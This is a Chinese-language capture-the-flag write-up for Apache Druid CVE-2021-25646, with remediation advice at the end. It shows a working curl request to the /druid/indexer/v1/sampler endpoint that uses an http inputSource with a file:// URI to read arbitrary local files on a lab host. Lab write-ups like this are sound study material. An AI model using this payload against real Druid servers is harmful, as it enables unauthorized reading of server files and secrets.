玄机靶场—Apache-druid(CVE-2021-25646) WP

Apache-druid(CVE-2021-25646) 通关笔记

题目信息

  • 平台:玄机靶场
  • 题目 ID:197
  • 难度:简单
  • 积分:300 分
  • 类型:渗透
  • 漏洞编号:CVE-2021-25646

漏洞背景

Apache Druid 0.20.0 及以前版本中,/druid/indexer/v1/sampler 接口的 ioConfig.inputSource 支持多种数据源类型,包括 http 类型。该类型允许从指定 URI 拉取数据,而未对 file:// 协议进行限制,导致攻击者可以通过 file:///path/to/file 读取服务器本地任意文件。

虽然题目描述的是 JavaScript RCE(通过 javascript 类型的 filter/aggregator 执行任意 JS 代码),但本靶场环境中 JavaScript 功能被配置禁用(druid.javascript.enabled 未设置为 true),因此改用 http inputSource + file:// 协议实现任意文件读取。

靶机信息

  • IP:52.83.246.206
  • 端口:8888(Druid Router/Web Console)
  • 版本:Apache Druid 0.20.0

利用过程

步骤 1:确认服务版本

bash 复制代码
curl -s "http://52.83.246.206:8888/status"

响应确认版本为 0.20.0,属于漏洞版本范围。

步骤 2:尝试 JavaScript RCE(失败)

通过 /druid/indexer/v1/sampler 发送包含 javascript 类型 filter 的 payload,服务器返回:

复制代码
HTTP ERROR 500 java.lang.IllegalStateException: JavaScript is disabled

说明 druid.javascript.enabled 未启用,JavaScript 执行路径不可用。

步骤 3:改用 file:// 协议读取文件

利用 http 类型 inputSource 支持 file:// 协议的特性,直接读取 /flag.txt

bash 复制代码
curl -s -X POST "http://52.83.246.206:8888/druid/indexer/v1/sampler" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "index",
    "spec": {
      "type": "index",
      "ioConfig": {
        "type": "index",
        "inputSource": {
          "type": "http",
          "uris": ["file:///flag.txt"]
        },
        "inputFormat": {"type": "regex", "pattern": "(.*)", "columns": ["line"]}
      },
      "dataSchema": {
        "dataSource": "test",
        "timestampSpec": {"missingValue": "2021-01-01T00:00:00.000Z"},
        "dimensionsSpec": {"dimensions": ["line"]},
        "metricsSpec": [],
        "granularitySpec": {"type": "uniform", "segmentGranularity": "DAY", "queryGranularity": "NONE", "rollup": false}
      }
    },
    "samplerConfig": {"numRows": 10, "timeoutMs": 10000}
  }'

步骤 4:获取 FLAG

响应内容:

json 复制代码
{"numRowsRead":1,"numRowsIndexed":1,"data":[{"input":{"line":"flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}"},"parsed":{"__time":1609459200000,"line":"flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}"}}]}

FLAGflag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}

Flag 汇总

步骤 内容 Flag
步骤1 读取 /flag.txt flag{b9b9dfac-6140-4de8-bf3d-4789ee0800cc}

修复建议

  1. 升级 Apache Druid 至 0.21.0 或更高版本。
  2. 若无法升级,在 common.runtime.properties 中确保 druid.javascript.enabled=false(默认值)。
  3. http 类型 inputSource 的 URI 进行白名单校验,禁止 file://jar:// 等本地协议。
  4. 部署网络访问控制,限制 Druid 管理端口(8888/8081/8090)的外部访问。
相关推荐
王维同学2 分钟前
[自学][Windows C++]RunOnceEx 注册表分组键的安全遍历
c++·windows·安全·开源
keyipatience26 分钟前
线程栈与TLS和线程互斥
java·linux·服务器·开发语言·ubuntu
我的xiaodoujiao31 分钟前
快速学习Python基础知识详细图文教程9--函数进阶
开发语言·python·学习·测试工具
weixin_408099671 小时前
2026 图片去水印 API 接口完全指南:一键去除图片水印(附 Python/Java/PHP/C# 示例)
java·python·php·图片处理·api调用·图片去水印·石榴智能
爱喝水的鱼丶1 小时前
SAP-ABAP:ALV通用封装实践——搭建可复用的ALV开发工具类,减少80%重复代码
开发语言·性能优化·sap·abap·erp·alv
钱六两1 小时前
#3、SpringAI 接入deepSeek大模型(喂饭版)
java·spring boot·ai编程
脱胎换骨-军哥1 小时前
C++/Rust无缝互操作:混合系统新常态
开发语言·c++·rust
川石课堂软件测试2 小时前
安全测试|常见SQL注入攻击方式、实例及预防
服务器·数据库·sql·功能测试·测试工具·安全·单元测试
songroom2 小时前
Kimi K3:Rust封装XTP接口详细教程实践
开发语言·后端·rust
上海云盾-小余2 小时前
中小站点防护避坑:低价高防服务存在的各类安全短板剖析
网络·爬虫·安全·ddos